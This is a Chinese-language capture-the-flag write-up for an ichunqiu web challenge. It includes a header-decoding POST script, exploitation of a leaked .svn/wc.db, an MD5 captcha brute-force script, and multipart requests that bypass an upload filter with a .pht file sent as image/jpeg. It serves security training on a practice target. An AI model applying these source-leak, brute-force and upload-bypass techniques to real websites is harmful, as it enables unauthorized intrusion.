跟紧出题人套路,各种写死的逻辑
HEAD
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 22 Mar 2018 03:30:48 GMT
Content-Type: text/html
Content-Length: 87
Connection: keep-alive
X-Powered-By: PHP/5.5.9-1ubuntu4.19
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
flag: ZmxhZ19pc19oZXJlOiBOekUyTkRjMA==
Vary: Accept-Encoding
</br>Hi,CTFer!u should be a fast man:)<!-- Please post the ichunqiu what you find -->
发现flag字段,每次都不一样,base64解码后flag_is_here: NzE2NDc0
,猜测是把每次的flag字段的值解码后,POST给index.php,参数名为ichunqiu,脚本如下:
import base64,requests
def main():
url='http://1f7938fad6ad47efa12b0f1ded9a8c089f3fea424ec84a20.game.ichunqiu.com/'
a = requests.session()
b = a.get(url)
key1 = b.headers["flag"]
c = base64.b64decode(key1)
d = str(c).split(':')
key = base64.b64decode(d[1])
body = {"ichunqiu":key}
f = a.post(url,data=body)
print f.text
if __name__ == '__main__':
main()
得到下一步提示,Path:3712901a08bb58557943ca31f3487b7d ,访问3712901a08bb58557943ca31f3487b7d/重定向到action.php?action=login,测试文件包含无果,然后扫描目录发现是.svn泄露
.svn泄露
本题是直接访问:3712901a08bb58557943ca31f3487b7d/.svn/wc.db拿到提示
OK!
Congratulations!
My username is md5(HEL1OW10rDEvery0n3)
:)
算出:8638d5263ab0d3face193725c23ce095
.svn目录结构
举例.svn目录如下:
➜ Desktop tree .svn -F
.svn
├── entries
├── format
├── pristine/
├── tmp/
└── wc.db
svn信息利用原理
- svn<=1.6
这里面就有.svn/entries,这个文件包含着该基础目录下所有的文件和目录,直接递推查找就行
- svn>1.6
svn在1.6之后引入了wc.db来管理文件,该文件位于.svn/wc.db。普通文件位置:somedomain/.svn/pristine/”XX”/”CHECKSUM”.svn-base,CHECKSUM是文件的sha1值,xx则是他的前两位。那这个CHECKSUM去哪找呢?就是我们刚才提到的wc.db,这是一个sqlite数据库。
可以看出重要的就是wc.db
以及entries
这两个文件
工具利用
$ perl rip-svn.pl -v -u http://www.example.com/.svn/
如果无法利用工具就尝试手动访问wc.db
以及entries
这两个文件,也许会有收获
登录
用得到的md5(8638d5263ab0d3face193725c23ce095)进行登录,密码随便填(成功登录才知道,这里不对密码进行校验…),验证码MD5脚本如下:
import hashlib
import itertools as its
words = "1234568790abcdefghijklmnopqrstuvwxyz"
r = its.product(words, repeat=5)
for i in r:
a = "".join(i)
md5 = hashlib.md5(a.encode('utf-8')).hexdigest()
if(md5[0:6] == 'aa2cec'):
print a
break
等到下一步提示:
The 7815696ecbf1c96e6894b779456d330e.php:)Welcome 8638d5263ab0d3face193725c23ce095!
上传
试验如下上传参数,最终使用image/jpeg以及1.pht得到flag回显,应该是写死的逻辑。
------WebKitFormBoundarytJvTA9B9Lb4TVKYS
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: text/php
------WebKitFormBoundarytJvTA9B9Lb4TVKYS
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundarytJvTA9B9Lb4TVKYS
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
------WebKitFormBoundarytJvTA9B9Lb4TVKYS
Content-Disposition: form-data; name="file"; filename="1.pht"
Content-Type: image/jpeg
- Content-Type对照表
- Apache解析php后缀:php、phtml、pht、php3、php4、php5
参考: 文件解析漏洞总结-Apache